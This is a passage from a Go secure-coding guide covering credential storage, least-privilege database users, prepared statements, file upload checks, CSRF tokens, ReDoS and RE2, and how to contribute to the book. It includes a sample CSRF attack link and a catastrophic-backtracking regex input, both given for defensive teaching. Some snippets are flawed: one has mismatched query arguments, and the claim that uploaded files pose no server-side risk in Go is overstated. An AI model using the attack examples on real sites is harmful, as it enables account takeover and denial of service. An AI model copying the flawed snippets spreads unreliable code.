err := p.db.QueryRowContext(ctx, "SELECT VERSION();").Scan(&version)
if err != nil {
return fmt.Errorf("unable to read version %v", err)
}
fmt.Println("Connected to:", version)
}

Connection string protection

To keep your connection strings secure, it's always a good practice
to put the authentication details on a separated configuration file,
outside of public access.

67
 Instead of placing your configuration file at /home/public_html/ , consider
/home/private/configDB.xml : a protected area.

<connectionDB>
<serverDB>localhost</serverDB>
<userDB>f00</userDB>
<passDB>f00?bar#ItsP0ssible</passDB>
</connectionDB>

Then you can call the configDB.xml file on your Go file:

configFile, _ := os.Open("../private/configDB.xml")

After reading the file, make the database connection:

db, _ := sql.Open(serverDB, userDB, passDB)

Of course, if the attacker has root access, he will be able to see the
file. Which brings us to the most cautious thing you can do - encrypt
the file.

Database Credentials
You should use different credentials for every trust distinction and
level, for example:

User
Read-only user
Guest
Admin

That way if a connection is being made for a read-only user, they

could never mess up with your database information because the
user actually can only read the data.

68
 Database Authentication

Access the database with minimal

privilege
If your Go web application only needs to read data and doesn't need
to write information, create a database user whose permissions are
read-only . Always adjust the database user according to your web
applications needs.

Use a strong password

When creating your database access, choose a strong password.
You can use password managers to generate a strong password.

Remove default admin passwords

Most DBS have default accounts and most of them have no
passwords on their highest privilege user.

For example, MariaDB, and MongoDB use root with no password,

Which means that if there is no password, the attacker could gain

access to everything.

Also, don't forget to remove your credentials and/or private key(s) if

you're going to post your code on a publicly accessible repository in
Github.

69
 Parameterized Queries
Prepared Statements (with Parameterized Queries) are the best and
most secure way to protect against SQL Injections.

In some reported situations, prepared statements could harm

performance of the web application. Therefore, if for any reason you
need to stop using this type of database queries, we strongly
suggest you read Input Validation and Output Encoding sections.

Go works differently from usual prepared statements on other

languages - you don't prepare a statement on a connection. You
prepare it on the DB.

Flow
1. The developer prepares the statement ( Stmt ) on a connection in
the pool
2. The Stmt object remembers which connection was used
3. When the application executes the Stmt , it tries to use that
connection. If it's not available it will try to find another
connection in the pool

This type of flow could cause high-concurrency usage of the

database and creates lots of prepared statements. Therefore, it's
important to keep this information in mind.

Here's an example of a prepared statement with parameterized

queries:

customerName := r.URL.Query().Get("name")
db.Exec("UPDATE creditcards SET name=? WHERE customerId=?", customerName, 233, 90)

Sometimes a prepared statement is not what you want. There might

be several reasons for this:

The database doesn’t support prepared statements. When using

the MySQL driver, for example, you can connect to MemSQL and
Sphinx, because they support the MySQL wire protocol. But they
don’t support the "binary" protocol that includes prepared
statements, so they can fail in confusing ways.

The statements aren’t reused enough to make them worthwhile,

and security issues are handled in another layer of our
application stack (See: Input Validation and Output Encoding), so
performance as seen above is undesired.

70
 Stored Procedures
Developers can use Stored Procedures to create specific views on
queries to prevent sensitive information from being archived, rather
than using normal queries.

By creating and limiting access to stored procedures, the developer

is adding an interface that differentiates who can use a particular
stored procedure from what type of information he can access.
Using this, the developer makes the process even easier to manage,
especially when taking control over tables and columns in a security
perspective, which is handy.

Let's take a look into at an example...

Imagine you have a table with information containing users' passport

IDs.

Using a query like:

SELECT * FROM tblUsers WHERE userId = $user_input

Besides the problems of Input validation, the database user (for the
example John) could access ALL information from the user ID.

What if John only has access to use this stored procedure:

CREATE PROCEDURE db.getName @userId int = NULL

AS
SELECT name, lastname FROM tblUsers WHERE userId = @userId
GO

Which you can run just by using:

EXEC db.getName @userId = 14

This way you know for sure that user John only sees name and
lastname from the users he requests.

Stored procedures are not bulletproof, but they create a new layer of
protection to your web application. They give DBAs a big advantage
over controlling permissions (e.g. users can be limited to specific
rows/data), and even better server performance.

71
 File Management
The first precaution to take when handling files is to make sure the
users are not allowed to directly supply data to any dynamic
functions. In languages like PHP, passing user data to dynamic
include functions, is a serious security risk. Go is a compiled
language, which means there are no include functions, and libraries
aren't usually loaded dynamically1.

File uploads should only be permitted from authenticated users.

After guaranteeing that file uploads are only made by authenticated
users, another important aspect of security is to make sure that only
acceptable file types can be uploaded to the server ( whitelisting ).
This check can be made using the following Go function that detects
MIME types: func DetectContentType(data []byte) string

Below you find the relevant parts of a simple program to read and
compute filetype (filetype.go)

{...}
// Write our file to a buffer
// Why 512 bytes? See http://golang.org/pkg/net/http/#DetectContentType
buff := make([]byte, 512)

_, err = file.Read(buff)
{...}
//Result - Our detected filetype
filetype := http.DetectContentType(buff)

After identifying the filetype, an additional step is required to validate

the filetype against a whitelist of allowed filetypes. In the example,
this is achieved in the following section:

{...}
switch filetype {
case "image/jpeg", "image/jpg":
fmt.Println(filetype)
case "image/gif":
fmt.Println(filetype)
case "image/png":
fmt.Println(filetype)
default:
fmt.Println("unknown file type uploaded")
}
{...}

Files uploaded by users should not be stored in the web context of

the application. Instead, files should be stored in a content server or
in a database. An important note is for the selected file upload
destination not to have execution privileges.

72
 If the file server that hosts user uploads is *NIX based, make sure to
implement safety mechanisms like chrooted environment, or
mounting the target file directory as a logical drive.

Again, since Go is a compiled language, the usual risk of uploading

files that contain malicious code that can be interpreted on the
server-side, is non-existent.

In the case of dynamic redirects, user data should not be passed. If

it is required by your application, additional steps must be taken to
keep the application safe. These checks include accepting only
properly validated data and relative path URLs.

Additionally, when passing data into dynamic redirects, it is

important to make sure that directory and file paths are mapped to
indexes of pre-defined lists of paths, and to use these indexes.

Never send the absolute file path to the user, always use relative
paths.

Set the server permissions regarding the application files and

resources to read-only . And when a file is uploaded, scan the file for
viruses and malware.
1 . Go 1.8 does allow dynamic loading now, via the new plugin

mechanism. ↩

If your application uses this mechanism, you should take precautions

against user-supplied input.

73
 Memory Management
There are several important aspects to consider regarding memory
management. Following the OWASP guidelines, the first step we must
take to protect our application pertains to the user input/output.
Steps must be taken to ensure no malicious content is allowed. A
more detailed overview of this aspect is in the Input Validation and
the Output Encoding sections of this document.

Buffer boundary checking is another important aspect of memory

management. checking. When dealing with functions that accept a
number of bytes to copy, usually, in C-style languages, the size of the
destination array must be checked, to ensure we don't write past
the allocated space. In Go, data types such as String are not NULL
terminated, and in the case of String , its header consists of the
following information:

type StringHeader struct {

Data uintptr
Len int
}

Despite this, boundary checks must be made (e.g. when looping). If

we go beyond the set boundaries, Go will Panic .

Here's a simple example:

func main() {
strings := []string{"aaa", "bbb", "ccc", "ddd"}
// Our loop is not checking the MAP length -> BAD
for i := 0; i < 5; i++ {
if len(strings[i]) > 0 {
fmt.Println(strings[i])
}
}
}

Output:

aaa
bbb
ccc
ddd
panic: runtime error: index out of range

When our application uses resources, additional checks must also

be made to ensure they have been closed, and not rely solely on the
Garbage Collector. This is applicable when dealing with connection
objects, file handles, etc. In Go we can use defer to perform these
actions. Instructions in defer are only executed when the
surrounding functions finish execution.

74
 defer func() {
// Our cleanup code here
}

More information regarding defer can be found in the Error Handling

section of the document.

Usage of functions that are known to be vulnerable should also be

avoided. In Go, the Unsafe package contains these functions. They
should not be used in production environments, nor should the
package be used as well. This also applies to the Testing package.

On the other hand, memory deallocation is handled by the garbage

collector, which means that we don't have to worry about it. Please
note, it is possible to manually deallocate memory, although it is not
advised.

Quoting Golang's Github:

If you really want to manually manage memory with Go,

implement your own memory allocator based on syscall.Mmap
or cgo malloc/free.

Disabling GC for extended period of time is generally a bad

solution for a concurrent language like Go. And Go's GC will only
be better down the road.

75
 Cross-Site Request Forgery
By OWASP's definition "Cross-Site Request Forgery (CSRF) is an attack
that forces an end user to execute unwanted actions on a web
application in which they're currently authenticated.". (source)

CSRF attacks are not focused on data theft. Instead, they target
state-changing requests. With a little social engineering (such as
sharing a link via email or chat) the attacker may trick users to
execute unwanted web-application actions such as changing
account's recovery email.

Attack scenario
Let's say that foo.com uses HTTP GET requests to set the account's
recovery email as shown:

GET https://foo.com/account/[email protected]

A simple attack scenario may look like:

1. Victim is authenticated at https://foo.com

2. Attacker sends a chat message to the Victim with the following
link:

https://foo.com/account/[email protected]

3. Victim's account recovery email address is changed to

[email protected] , giving the Attacker full control over it.

The Problem
Changing the HTTP verb from GET to POST (or any other) won't solve
the issue. Using secret cookies, URL rewriting, or HTTPS won't do it
either.

The attack is possible because the server does not distinguish

between requests made during a legit user session workflow
(navigation), and "malicious" ones.

The Solution
In theory

76
 As previously mentioned, CSRF targets state-changing requests.
Concerning Web Applications, most of the time that means POST

requests issued by form submission.

In this scenario, when a user first requests the page which renders
the form, the server computes a nonce (an arbitrary number
intended to be used once). This token is then included into the form
as a field (most of the time this field is hidden but it is not
mandatory).

Next, when the form is submitted, the hidden field is sent along with
other user input. The server should then validated whether the
token is part the request data, and determine if it is valid.

The specific nonce/token should obey to the following requirements:

Unique per user session

Large random value
Generated by a cryptographically-secure random number
generator

Note: Although HTTP GET requests are not expected to change

state (said to be idempotent), due to undesirable programming
practices they can in fact modify resources. Because of that, they
could also be targeted by CSRF attacks.

Concerning APIs, PUT and DELETE are two other common targets of
CSRF attacks.

In practice
Doing all this by hand is not a good idea, since it is error prone.

Most Web Application Frameworks already offer a solution out-of-the-

box and you're advised to enable it. If you're not using a Framework,
the advice is to adopt one.

The following example is part of the Gorilla web toolkit for Go

programming language. You can find gorilla/csrf on GitHub

77
 package main

import (
"net/http"

"github.com/gorilla/csrf"
"github.com/gorilla/mux"
)

func main() {
r := mux.NewRouter()
r.HandleFunc("/signup", ShowSignupForm)
// All POST requests without a valid token will return HTTP 403 Forbidden.
r.HandleFunc("/signup/post", SubmitSignupForm)

// Add the middleware to your router by wrapping it.

http.ListenAndServe(":8000",
csrf.Protect([]byte("32-byte-long-auth-key"))(r))
// PS: Don't forget to pass csrf.Secure(false) if you're developing locally
// over plain HTTP (just don't leave it on in production).
}

func ShowSignupForm(w http.ResponseWriter, r *http.Request) {

// signup_form.tmpl just needs a {{ .csrfField }} template tag for
// csrf.TemplateField to inject the CSRF token into. Easy!
t.ExecuteTemplate(w, "signup_form.tmpl", map[string]interface{}{
csrf.TemplateTag: csrf.TemplateField(r),
})
// We could also retrieve the token directly from csrf.Token(r) and
// set it in the request header - w.Header.Set("X-CSRF-Token", token)
// This is useful if you're sending JSON to clients or a front-end JavaScript
// framework.
}

func SubmitSignupForm(w http.ResponseWriter, r *http.Request) {

// We can trust that requests making it this far have satisfied
// our CSRF protection requirements.
}

OWASP has a detailed Cross-Site Request Forgery (CSRF) Prevention

Cheat Sheet, which you're recommended to read.

78
 Regular Expressions
Regular Expressions are a powerful tool that's widely used to perform
searches and validations. In the context of a web applications they
are commonly used to perform input validation (e.g. Email address).

Regular expressions are a notation for describing sets of

character strings. When a particular string is in the set
described by a regular expression, we often say that the
regular expression matches the string. (source)

It is well-known that Regular Expressions are hard to master.

Sometimes, what seems to be a simple validation, may lead to a
Denial-of-Service.

Go authors took it seriously, and unlike other programming

languages, the decided to implement RE2 for the regex standard
package.

Why RE2
RE2 was designed and implemented with an explicit goal of
being able to handle regular expressions from untrusted users
without risk. (source)

With security in mind, RE2 also guarantees a linear-time performance

and graceful failing: the memory available to the parser, the
compiler, and the execution engines is limited.

Regular Expression Denial of

Service (ReDoS)
Regular Expression Denial of Service (ReDoS) is an algorithmic
complexity attack that provokes a Denial of Service (DoS).
ReDos attacks are caused by a regular expression that takes a
very long time to be evaluated, exponentially related with the
input size. This exceptionally long time in the evaluation
process is due to the implementation of the regular expression
in use, for example, recursive backtracking ones. (source)

You're better off reading the full article "Diving Deep into Regular
Expression Denial of Service (ReDoS) in Go" as it goes deep into the
problem, and also includes comparisons between the most popular
programming languages. In this section we will focus on a real-world
use case.

79
 Say for some reason you're looking for a Regular Expression to
validate Email addresses provided on your signup form. After a quick
search, you found this RegEx for email validation at RegExLib.com:

^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]

If you try to match [email protected] against this regular expression

you may feel confident that it does what you're looking for. If you're
developing using Go, you'll come up with something like this:

package main

import (
"fmt"
"regexp"
)

func main() {
testString1 := "[email protected]"
testString2 := "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
regex := regexp.MustCompile("^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[

fmt.Println(regex.MatchString(testString1))
// expected output: true
fmt.Println(regex.MatchString(testString2))
// expected output: false
}

Which is not a problem:

$ go run src/redos.go
true
false

However, what if you're developing with, for example, JavaScript?

const testString1 = '[email protected]';

const testString2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!';
const regex = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-

console.log(regex.test(testString1));
// expected output: true
console.log(regex.test(testString2));
// expected output: hang/FATAL EXCEPTION

In this case, execution will hang forever and your application will
service no further requests (at least this process). This means no
further signups will work until the application gets
restarted, resulting in business losses.

What's missing?

80
 If you have a background with other programming languages such as
Perl, Python, PHP, or JavaScript, you should be aware of the
differences regarding Regular Expression supported features.

RE2 does not support constructs where only backtracking solutions

are known to exist, such as Backreferences and Lookaround.

Consider the following problem: validating whether an arbitrary string

is a well-formed HTML tag: a) opening and closing tag names match,
and b) optionally there's some text in between.

Fulfilling requirement b) is straightforward .*? . But fulling

requirement a) is challenging because closing a tag match depends
on what was matched as the opening tag. This is exactly what
Backreferences allows us to do. See the JavaScript implementation
below:

const testString1 = '<h1>Go Secure Coding Practices Guide</h1>';

const testString2 = '<p>Go Secure Coding Practices Guide</p>';
const testString3 = '<h1>Go Secure Coding Practices Guid</p>';
const regex = /<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>/;

console.log(regex.test(testString1));
// expected output: true
console.log(regex.test(testString2));
// expected output: true
console.log(regex.test(testString3));
// expected output: false

\1 will hold the value previously captured by ([A-Z][A-Z0-9]*) .

This is something you should not expect to do in Go.

package main

import (
"fmt"
"regexp"
)

func main() {
testString1 := "<h1>Go Secure Coding Practices Guide</h1>"
testString2 := "<p>Go Secure Coding Practices Guide</p>"
testString3 := "<h1>Go Secure Coding Practices Guid</p>"
regex := regexp.MustCompile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>")

fmt.Println(regex.MatchString(testString1))
fmt.Println(regex.MatchString(testString2))
fmt.Println(regex.MatchString(testString3))
}

Running the Go source code sample above should result in the

following errors:

$ go run src/backreference.go
# command-line-arguments
src/backreference.go:12:64: unknown escape sequence
src/backreference.go:12:67: non-octal character in escape sequence: >

81
 You may feel tempted to fix these errors, coming up with the following
regular expression:

<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>

Then, this is what you'll get:

go run src/backreference.go
panic: regexp: Compile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>"): error parsing regexp:

goroutine 1 [running]:
regexp.MustCompile(0x4de780, 0x21, 0xc00000e1f0)
/usr/local/go/src/regexp/regexp.go:245 +0x171
main.main()
/go/src/backreference.go:12 +0x3a
exit status 2

While developing something from scratch, you'll probably find a nice

workaround to help with the lack of some features. On the other
hand, porting existing software could make you look for full featured
alternative to the standard Regular Expression package, and you'll
likely find some (e.g. dlclark/regexp2). Keeping that in mind, then
you'll (probably) lose RE2's "safety features" such as the linear-time
performance.

82
 How to Contribute
This project is based on GitHub and can be accessed by clicking
here.

Here are the basic of contributing to GitHub:

1. Fork and clone the project

2. Set up the project locally
3. Create an upstream remote and sync your local copy
4. Branch each set of work
5. Push the work to your own repository
6. Create a new pull request
7. Look out for any code feedback and respond accordingly

This book was built from ground-up in a "collaborative fashion", using

a small set of Open Source tools and technologies.

Collaboration relies on Git - a free and open source distributed

version control system and other tools around Git:

Gogs - Go Git Service, a painless self-hosted Git Service, which

provides a Github like user interface and workflow.
Git flow - a collection of Git extensions to provide high-level
repository operations for Vincent Driessen's branching model;
Git Flow Hooks - some useful hooks for git-flow (AVH Edition) by
Jaspern Brouwer.

The book sources are written on Markdown format, taking advantage

of gitbook-cli.

Environment setup
If you want to contribute to this book, you should setup the following
tools on your system:

1. To install Git, please follow the official instructions according to

your system's configuration;
2. Now that you have Git, you should install Git Flow and Git Flow
Hooks;
3. Last but not least, setup GitBook CLI.

How to start
Ok, now you're ready to contribute.

Fork the go-webapp-scp repo and then clone your own repository.

The next step is to enable Git Flow hooks; enter your local repository

83
 $ cd go-webapp-scp

and run

$ git flow init

We're good to go with git flow default values.

In a nutshell, everytime you want to work on a section, you should

start a "feature":

$ git flow feature start my-new-section

To keep your work safe, don't forget to publish your feature:

$ git flow feature publish

Once you're ready to merge your work with others, you should go to
the main repository and open a Pull Request to the develop branch.
Then, someone will review your work, leave any comments, request
changes and/or simply merge it on branch develop of project's main
repository.

As soon as this happens, you'll need to pull the develop branch to

keep your own develop branch updated with the upstream. The same
way as on a release, you should update your master branch.

When you find a typo or something that needs to be fixed, you

should start a "hotfix"

$ git flow hotfix start

This will apply your change on both develop and master branches.

As you can see, until now there were no commits to the master

branch. Great! This is reserved for releases . When the work is ready
to become publicly available, the project owner will do the release.

While in the development stage, you can live-preview your work. To

get Git Book tracking file changes and to live-preview your work, you
just need to run the following command on a shell session

$ npm run serve

The shell output will include a localhost URL where you can
preview the book.

How to Build

84
 If you have node installed, you can run:

$ npm i && node_modules/.bin/gitbook install && npm run build

You can also build the book using an ephemeral Docker container:

$ docker-compose run -u node:node --rm build

85
 Final Notes
The Checkmarx Research team is confident that this Go Secure
Coding Practices Guide provided value to you. We encourage you to
refer to it often, as you're developing applications written in Go. The
information found in this book can help you develop more-secure
applications and avoid the common mistakes and pitfalls that lead to
vulnerable applications. Understanding that exploitation techniques
are always evolving, new vulnerabilities might be found in the future,
based on dependencies that may make your application vulnerable.

OWASP plays an important role in application security. We recommend

staying abreast of the following projects:

OWASP Secure Coding Practices - Quick Reference Guide

OWASP Top Ten Project
OWASP Testing Guide Project
Check OWASP Cheat Sheet Series

86